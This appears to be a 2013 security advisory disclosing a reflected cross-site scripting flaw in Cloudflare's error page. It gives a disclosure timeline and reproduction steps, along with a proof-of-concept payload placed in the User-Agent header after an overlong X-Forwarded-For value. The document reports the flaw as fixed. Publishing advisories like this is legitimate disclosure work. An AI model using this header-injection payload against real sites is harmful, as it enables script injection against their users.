Cloudflare Cross Site Scripting

`Details below of an XSS vulnerability I discovered in Cloudflare (markdown  
format)  
  
- Glenn | /dev/alias  
* http://blog.devalias.net  
* http://devalias.net  
  
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**Reference Number:** DAHAX-2013-001 (/dev/alias/hacks 2013-001)  
  
**Notification Timeline:**  
  
* 10/07/2013, Request# 38713 (  
https://support.cloudflare.com/anonymous_requests/new)  
* 10/07/2013, Vendor looking into issue  
* 16/07/2013, Updated vendor with new details (Length: 101 instead of 72)  
* 16/07/2013, Vendor requested that I test again  
* [No further response from vendor]  
* 01/08/2013, Tested again, vulnerability fixed  
  
**Details Published:** 14/08/2013 (  
http://blog.devalias.net/post/58217238426/dahax-2013-001-cloudflare-xss-vulnerability  
)  
  
## What?  
  
* Reflected XSS (cross site scripting) attack  
  
## Where's Affected?  
  
* Theoretically it seems that any page that uses cloudflare will be  
affected.  
- Eg: http://www.cloudflare.com/  
  
## How?  
  
* **To bring up the vulnerable page**  
- Set your X-Forwarded-For header to <del>72+</del> 101+ characters  
- <del>Eg: X-Forwarded-For:  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHH</del>  
- Eg: <pre>X-Forwarded-For:  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIIIJJJJJJJJJJK</pre>  
- Load a site using cloudflare  
- You should end up on "DNS Points to Prohibited IP" page  
  
* **To trigger the XSS**  
- Set your User-Agent string to the XSS attack  
- Eg: <pre>User-Agent: USER-AGENT being tested for  
XSS..<script>alert('Vulnerable to XSS via USER-AGENT header [Found by  
devalias.net]')</script></pre>  
  
* **The whole attack**  
- Ensure your X-Forwarded-For and User-Agent headers are configured as  
above  
- Navigate to a page using cloudflare  
- ???  
- Profit!  
  
## Who?  
  
* Discovered by [Glenn '/dev/alias' Grant](http://www.devalias.net/) (  
[email protected])  
  
## Responsible Disclosure Notice  
  
* Following in the footsteps of Google's vulnerability disclosure timeline,  
unless otherwise agreed to beforehand, I reserve the right to publicly  
announce the details of any discovered vulnerabilities 7 days post  
notification.  
* **Google's Rationale:** "Seven days is an aggressive timeline and may  
be too short for some vendors to update their products, but it should be  
enough time to publish advice about possible mitigations, such as  
temporarily disabling a service, restricting access, or contacting the  
vendor for more information. As a result, after 7 days have elapsed without  
a patch or advisory, we will support researchers making details available  
so that users can take steps to protect themselves. By holding ourselves to  
the same standard, we hope to improve both the state of web security and  
the coordination of vulnerability management." - [Google](  
http://googleonlinesecurity.blogspot.com.au/2013/05/disclosure-timeline-for-vulnerabilities.html  
)  
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